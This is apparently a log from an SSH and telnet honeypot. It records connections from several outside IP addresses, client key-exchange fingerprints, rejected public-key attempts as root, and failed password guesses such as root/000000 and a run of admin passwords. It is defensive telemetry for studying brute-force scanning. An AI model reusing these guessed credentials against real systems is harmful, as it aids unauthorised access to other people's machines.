{"eventid":"cowrie.login.failed","username":"root","fingerprint":"a2:33:16:55:c5:f7:79:c1:a5:a4:41:31:7a:e5:34:fb","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDCWNz6uZiCEGZTo5OJTrb/iiBSkQHegLX8gNYCejqxfExrFpo532jaDpadBtgJGTj1JMAW2yx6NGB7/RqpoOn06zGGJw3e3AKDkPO4q5uEoMnLIachH4zwBba33UzzSVVrY6TIrWb+J93QhGr5LPFImF6nH9o2RttD6bX4exhsG806KrMrKb+Ly0d0oyxebPaj6V9O0ioHc2tAFr4G+RkEhJO8mPfycO4dg8Bg3wmrC/v5cACVCOelccmZTSgZkKzdONxHG0ikPAjHJDSwUVk1+UsRp/h1lUWzSCdrDLpRauHWpYQwduwUk89YUX3i8O1Cc2PK47x+XKowdDB4Ug4V","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T19:37:56.085955Z","src_ip":"208.87.243.125","session":"9a35859106bd","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T19:37:56.170310Z","src_ip":"201.77.124.248","session":"9b1194bcbd39","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"00:52:16:89:ea:91:33:bb:d5:5a:ad:51:3e:63:01:16","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDmq1OBDrBLkNENOlheSZtrrsqF8bJsFQmJWylr9fuDukLYVR8TXdXFit0Ua8JZgwgBMynrfWwr+yu7m0i5kn8Vtf1817u6V/jlV4EOi5B8FQv80r0oR8A/1Vs4p7c1KIs1WCSz7VQh+GTeZ+nFuIdlWGG7Gvs0HXRhe09YHFKUJ8kl/MDsx4ocXSHfWAYdL/wkGcyKmcWheM2miEBHPKuZVrmoLfFPVmr2RWmhY5QVwGYkn4nE19ui1DoCY3gB8lcyvlhEaxZgXoSx0p28Beyjei5vsWRViuADnKk9nA3PVYDNi/LMaXi0/r7T1SW1vC1yam6zIjdhDEhUXrWvBhZx","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 00:52:16:89:ea:91:33:bb:d5:5a:ad:51:3e:63:01:16","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T19:37:56.420969Z","src_ip":"208.87.243.125","session":"9a35859106bd","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"00:52:16:89:ea:91:33:bb:d5:5a:ad:51:3e:63:01:16","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDmq1OBDrBLkNENOlheSZtrrsqF8bJsFQmJWylr9fuDukLYVR8TXdXFit0Ua8JZgwgBMynrfWwr+yu7m0i5kn8Vtf1817u6V/jlV4EOi5B8FQv80r0oR8A/1Vs4p7c1KIs1WCSz7VQh+GTeZ+nFuIdlWGG7Gvs0HXRhe09YHFKUJ8kl/MDsx4ocXSHfWAYdL/wkGcyKmcWheM2miEBHPKuZVrmoLfFPVmr2RWmhY5QVwGYkn4nE19ui1DoCY3gB8lcyvlhEaxZgXoSx0p28Beyjei5vsWRViuADnKk9nA3PVYDNi/LMaXi0/r7T1SW1vC1yam6zIjdhDEhUXrWvBhZx","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T19:37:56.426339Z","src_ip":"208.87.243.125","session":"9a35859106bd","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"sftp_user","password":"123","message":"login attempt [sftp_user/123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T19:37:56.746578Z","src_ip":"201.77.124.248","session":"9b1194bcbd39","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"8f:68:26:c5:ca:9e:16:bf:5b:26:14:01:e9:eb:6d:3b","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDaHyir5dbJPbLaoYmEJ8RQnfW8pZtbdwr5U3aZwfMvvxJGmmA5skh7AfSXq6Fdtc2X7P0tw1mqy0Agy5DtqrYNWJg6zGHT/EhOR/naVk08tyrfiSDcOnay3VT6YUtB8tha4QcfbIa9eNzSpBXtRK4OwgNbrGAhBXq1UIJvW9yBHzPAlY6r/UBqs5A8tFqZ7k0Bma3nzXco2IH+mKftKW9ipMxhm9bnEzIl4Y1nozDidmibQVRjHSGhW0q7qhCuF7hTB2KqYxid+K/5upjuVoGHBzwEJSrqBVTSoWlzyUNwD81LLWxSYC1dOgouK1/BbppF63XY5bSnCG2i8GMEnokz","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 8f:68:26:c5:ca:9e:16:bf:5b:26:14:01:e9:eb:6d:3b","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T19:37:56.757100Z","src_ip":"208.87.243.125","session":"9a35859106bd","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"8f:68:26:c5:ca:9e:16:bf:5b:26:14:01:e9:eb:6d:3b","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDaHyir5dbJPbLaoYmEJ8RQnfW8pZtbdwr5U3aZwfMvvxJGmmA5skh7AfSXq6Fdtc2X7P0tw1mqy0Agy5DtqrYNWJg6zGHT/EhOR/naVk08tyrfiSDcOnay3VT6YUtB8tha4QcfbIa9eNzSpBXtRK4OwgNbrGAhBXq1UIJvW9yBHzPAlY6r/UBqs5A8tFqZ7k0Bma3nzXco2IH+mKftKW9ipMxhm9bnEzIl4Y1nozDidmibQVRjHSGhW0q7qhCuF7hTB2KqYxid+K/5upjuVoGHBzwEJSrqBVTSoWlzyUNwD81LLWxSYC1dOgouK1/BbppF63XY5bSnCG2i8GMEnokz","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T19:37:56.761207Z","src_ip":"208.87.243.125","session":"9a35859106bd","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"f8:0b:15:6c:66:d7:09:1e:c7:53:8b:0d:da:88:de:cd","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCZosrbvGCvyj07UmNdNdnDhwyPvqAm8ZAyIaGLgfSyjVXKhvl8bIvkbpYAXE01Y38+qbJhZgx1nMqMBkV493gbBtALoX3D1KreCrubAtQ0aemxdrGLJ0Er7wbtM3DvuGkbSeT2jleQZtQQbU7T927FYyL5cmlp4ZXtQM/KanU6Cz9Bl6ZVelJzzEtsOcVjIlpi7ajJvke6ZeVNT9o1bChcVZiTRLYpVPuiOZALEXy6VuwLmmHwBNVjUoePsmiey6FFRUfYCyW7oN845+uG9PPCo+NufrHoRWpnhcTMNnBAAoKtWOFYIRmygx2JjVp34/TCIW7cWbiA+633hbOebp/B","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint f8:0b:15:6c:66:d7:09:1e:c7:53:8b:0d:da:88:de:cd","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T19:37:57.094107Z","src_ip":"208.87.243.125","session":"9a35859106bd","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"f8:0b:15:6c:66:d7:09:1e:c7:53:8b:0d:da:88:de:cd","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCZosrbvGCvyj07UmNdNdnDhwyPvqAm8ZAyIaGLgfSyjVXKhvl8bIvkbpYAXE01Y38+qbJhZgx1nMqMBkV493gbBtALoX3D1KreCrubAtQ0aemxdrGLJ0Er7wbtM3DvuGkbSeT2jleQZtQQbU7T927FYyL5cmlp4ZXtQM/KanU6Cz9Bl6ZVelJzzEtsOcVjIlpi7ajJvke6ZeVNT9o1bChcVZiTRLYpVPuiOZALEXy6VuwLmmHwBNVjUoePsmiey6FFRUfYCyW7oN845+uG9PPCo+NufrHoRWpnhcTMNnBAAoKtWOFYIRmygx2JjVp34/TCIW7cWbiA+633hbOebp/B","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T19:37:57.098094Z","src_ip":"208.87.243.125","session":"9a35859106bd","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"5.9","message":"Connection lost after 5.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T19:37:57.430971Z","src_ip":"208.87.243.125","session":"9a35859106bd","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.9","message":"Connection lost after 1.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T19:37:57.887017Z","src_ip":"201.77.124.248","session":"9b1194bcbd39","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"50.6.8.71","src_port":36446,"dst_ip":"10.17.0.5","dst_port":23,"session":"25560a0a9932","protocol":"telnet","message":"New connection: 50.6.8.71:36446 (10.17.0.5:23) [session: 25560a0a9932]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T19:38:01.379137Z"}
{"eventid":"cowrie.session.connect","src_ip":"109.91.4.177","src_port":64372,"dst_ip":"159.203.135.109","dst_port":22,"session":"89f5a4cb2d4f","protocol":"ssh","message":"New connection: 109.91.4.177:64372 (159.203.135.109:22) [session: 89f5a4cb2d4f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T19:38:20.075750Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T19:38:20.083196Z","src_ip":"109.91.4.177","session":"89f5a4cb2d4f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T19:38:20.192643Z","src_ip":"109.91.4.177","session":"89f5a4cb2d4f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Ls123456","message":"login attempt [root/Ls123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T19:38:21.008880Z","src_ip":"109.91.4.177","session":"89f5a4cb2d4f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.0","message":"Connection lost after 2.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T19:38:22.118477Z","src_ip":"109.91.4.177","session":"89f5a4cb2d4f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":41.82952570915222,"message":"Connection lost after 41 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T19:38:43.208552Z","src_ip":"50.6.8.71","session":"25560a0a9932","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"50.6.8.71","src_port":36774,"dst_ip":"10.17.0.5","dst_port":23,"session":"a247a343df83","protocol":"telnet","message":"New connection: 50.6.8.71:36774 (10.17.0.5:23) [session: a247a343df83]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T19:38:45.482754Z"}
{"eventid":"cowrie.session.connect","src_ip":"109.91.4.177","src_port":62382,"dst_ip":"159.203.135.109","dst_port":22,"session":"57f2e06ec54e","protocol":"ssh","message":"New connection: 109.91.4.177:62382 (159.203.135.109:22) [session: 57f2e06ec54e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T19:38:59.031437Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T19:38:59.036660Z","src_ip":"109.91.4.177","session":"57f2e06ec54e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T19:38:59.165863Z","src_ip":"109.91.4.177","session":"57f2e06ec54e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"brengoziscute","password":"0day.today","message":"login attempt [brengoziscute/0day.today] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T19:38:59.641063Z","src_ip":"109.91.4.177","session":"57f2e06ec54e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T19:39:00.756753Z","src_ip":"109.91.4.177","session":"57f2e06ec54e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"50.6.8.71","src_port":56774,"dst_ip":"10.17.0.5","dst_port":23,"session":"b5233c012da8","protocol":"telnet","message":"New connection: 50.6.8.71:56774 (10.17.0.5:23) [session: b5233c012da8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T19:39:09.475519Z"}
{"eventid":"cowrie.session.connect","src_ip":"178.20.210.186","src_port":47836,"dst_ip":"10.17.0.5","dst_port":22,"session":"50e4fb1cc584","protocol":"ssh","message":"New connection: 178.20.210.186:47836 (10.17.0.5:22) [session: 50e4fb1cc584]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T19:39:19.512991Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.0","message":"Remote SSH version: SSH-2.0-libssh2_1.11.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T19:39:19.518547Z","src_ip":"178.20.210.186","session":"50e4fb1cc584","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"14b2ddda386a4d1006108ccd231b42fc","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-rsa-cert-v01@openssh.com","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 14b2ddda386a4d1006108ccd231b42fc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T19:39:19.635085Z","src_ip":"178.20.210.186","session":"50e4fb1cc584","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"2.57.121.112","src_port":8562,"dst_ip":"159.203.135.109","dst_port":22,"session":"72f71d170293","protocol":"ssh","message":"New connection: 2.57.121.112:8562 (159.203.135.109:22) [session: 72f71d170293]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T19:39:19.684833Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-PuTTY_Release_0.83","message":"Remote SSH version: SSH-2.0-PuTTY_Release_0.83","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T19:39:19.690873Z","src_ip":"2.57.121.112","session":"72f71d170293","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"57446c12547a668110aa237e5965e374","hasshAlgorithms":"ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","ssh-dss"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 57446c12547a668110aa237e5965e374","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T19:39:19.791822Z","src_ip":"2.57.121.112","session":"72f71d170293","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"000000","message":"login attempt [root/000000] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T19:39:20.026890Z","src_ip":"178.20.210.186","session":"50e4fb1cc584","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"cuntcunt","message":"login attempt [admin/cuntcunt] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T19:39:20.248821Z","src_ip":"2.57.121.112","session":"72f71d170293","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T19:39:21.134411Z","src_ip":"178.20.210.186","session":"50e4fb1cc584","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"cubby","message":"login attempt [admin/cubby] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T19:39:21.348180Z","src_ip":"2.57.121.112","session":"72f71d170293","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"crippler","message":"login attempt [admin/crippler] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T19:39:22.448077Z","src_ip":"2.57.121.112","session":"72f71d170293","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":37.11132049560547,"message":"Connection lost after 37 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T19:39:22.593941Z","src_ip":"50.6.8.71","session":"a247a343df83","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"admin","password":"cricke","message":"login attempt [admin/cricke] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T19:39:23.548124Z","src_ip":"2.57.121.112","session":"72f71d170293","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"creosote","message":"login attempt [admin/creosote] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T19:39:24.648712Z","src_ip":"2.57.121.112","session":"72f71d170293","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"6.1","message":"Connection lost after 6.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T19:39:25.748627Z","src_ip":"2.57.121.112","session":"72f71d170293","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.15.222.183","src_port":50520,"dst_ip":"10.17.0.5","dst_port":22,"session":"d1d0a0a0749b","protocol":"ssh","message":"New connection: 103.15.222.183:50520 (10.17.0.5:22) [session: d1d0a0a0749b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T19:39:33.754628Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T19:39:33.764076Z","src_ip":"103.15.222.183","session":"d1d0a0a0749b","protocol":"ssh"}
